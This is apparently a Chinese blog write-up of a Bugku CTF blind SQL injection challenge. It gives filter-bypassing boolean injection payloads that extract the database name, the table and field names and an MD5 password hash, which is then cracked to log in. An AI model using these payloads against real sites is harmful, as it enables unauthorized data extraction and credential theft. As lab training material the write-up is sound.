sql注入-bugku题目解答记录(二)

sql注入-bugku题目解答记录(一)连接:https://blog.csdn.net/AQAlie/article/details/161287963?spm=1001.2014.3001.5501

继续爆库名

刚想通爆库名的语句,准备实操一下

substr(reverse(substr((database())from(a)))from(7))>97#

不对!犯了个小错误,没有把取出的字符进行ascii转换,再加一层:

a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))>97)#

前两个参数设置为从1到8,两者的和需要为9,最后一个从97到130,爆破后会发现有很多满足的,挑选其中前两个参数和为9的,最终得到ascii码为:98,108,105,110,100,115,113,108

转换后得到库名为:blindsql 

下一步,爆表名!!!

爆表名(以及字段名)

常规爆表名语句:

ascii(substr((select table_name from information_schema.tables where table_schema='blindsql' limit 0,1),n,1))=m

但很多字符被过滤掉了,这里尝试进行修改,先改好改的:

ascii(
  substr(
    (select(table_name)from(information_schema.tables)where(table_schema='blindsql')from(1))
    from(1))
    )
>m 

但还是没法用的,因为等号和information也被过滤了

lz水平受限,手足无措了。查看网上其他大佬的方法,都不约而同的选择了爆破表名!

还真是力大砖飞啊

通过语句

a'or(SELECT($xx$)FROM(blindsql.$xx$))#

直接爆表名和字段名(我的天,采用急速炸弹方式的话,字典数量一大,爆破次数不敢想)

这里自己先去整理了一个表名和字段名的字典准备爆破,结果如下

得到表名为admin,字段分别为id和password,接着获取password中的数据

爆数据

先判断password的长度

a'or(length((select(password)from(admin))))>$1$#

爆破结果:

可知长度为32,接着继续爆破元素名。这里可以采用与爆破数据库名一样的方法

a'or(ascii(substr(reverse(substr((select(password)from(admin))from(1)))from(32)))>47)#


#即:
a'or(
  ascii(
    substr(
      reverse(
        substr(
          (select(password)
        from(admin))
      from(1))
    )from(32))
  )
>47)#

第一个from和第二个from的值和为32+1=33,大于范围为47-130

数量太大了,lz用的虚拟机跑bp爆破被卡死了一次,于是分成了三次跑,最终得到password值为:

4dcc88f8f1bc05e7c2ad1a60288481a2

放进随波逐流解码!!

居然解码失败,尝试网上在线解密,发现类型为MD5加密,解密得到明文为:

bugkuctf

尝试账号admin密码bugkuctf登录

得解!!

真不容易

提交,flag正确(终于!!)

其他

1.bp爆破模块中其实是能够对结果进行筛选的,在Filter中输入查找信息即可进行筛选

2.会写python脚本还是很有必要的。观摩其他大佬都是拿python脚本进行爆破的,lz没有学过python,使用起来还是很吃力的,bp爆破数量一大还是太容易崩了。还需要补一补python,任重道远

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值